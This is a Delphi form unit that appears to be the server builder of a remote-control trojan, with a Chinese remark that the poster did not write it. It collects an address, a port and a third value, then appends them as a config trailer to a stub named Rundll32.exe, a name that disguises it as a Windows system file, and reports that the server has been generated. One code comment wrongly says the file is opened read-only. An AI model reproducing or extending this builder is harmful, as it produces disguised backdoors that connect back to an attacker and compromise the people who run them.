unit4.pas

自己不会写

unit Unit4;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Mask, Buttons, ExtCtrls;

type
  TForm4 = class(TForm)
    gb: TGroupBox;
    e1: TEdit;
    l1: TLabel;
    e3: TEdit;
    l2: TLabel;
    l3: TLabel;
    e2: TComboBox;
    T1: TTimer;
    B2: TButton;
    B1: TBitBtn;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure e1KeyPress(Sender: TObject; var Key: Char);
    procedure e2KeyPress(Sender: TObject; var Key: Char);
    procedure T1Timer(Sender: TObject);
    procedure B1Click(Sender: TObject);
    procedure B2Click(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation
 uses Unit1;
{$R *.dfm}

procedure TForm4.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  form1.Enabled :=true;
  T1.Enabled :=FALSE;
end;

procedure TForm4.e1KeyPress(Sender: TObject; var Key: Char);
begin
 if not (Key in['0'..'9','.',#8]) then key:=#0;
end;

procedure TForm4.e2KeyPress(Sender: TObject; var Key: Char);
begin
 if not (Key in['0'..'9',#8]) then key:=#0;
end;

procedure TForm4.T1Timer(Sender: TObject);
begin
  if (e1.Text='') or (e2.Text='') or(e3.Text='') then
    b2.Enabled :=false
  else
    b2.Enabled :=true;
end;

procedure TForm4.B1Click(Sender: TObject);
var F1,F2:TFileStream;
    i,SS:integer;
    st:string;
begin
   st:=ExtractFileDir(Application.Exename)+'\st.txt';
   F1:=TfileStream.Create(ExtractFileDir(Application.Exename)+'\Rundll32.exe',fmOpenWrite); //  以只读方式打开配置文件
   F2:=TfileStream.Create(st,fmOpenRead);
   try
    F1.Seek(0,soFromEnd);
    F1.CopyFrom(F2,0);
    SS:=F2.Size+sizeof(SS);
    F1.WriteBuffer(SS,sizeof(SS));
    application.MessageBox ('服务器端已经生成!','恭喜');
    form1.Enabled :=true;
    form4.Visible :=false;
    T1.Enabled :=FALSE;
   finally
    F1.Free;
    F2.Free;
    deletefile(st);
   end;

end;

procedure TForm4.B2Click(Sender: TObject);
VAR f:TEXTfile;
    st:string;
begin
 assignfile(f,ExtractFileDir(Application.Exename)+'\st.txt');
 st:=e1.Text +'>>>'+e2.Text +'>>>'+e3.Text+'>>>';
 rewrite(f);
 writeln(f,st);
 closefile(f);
 B1.Enabled :=TRUE;
end;

procedure TForm4.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if (ssAlt in shift)and(key=115) then key:=0;
end;

end.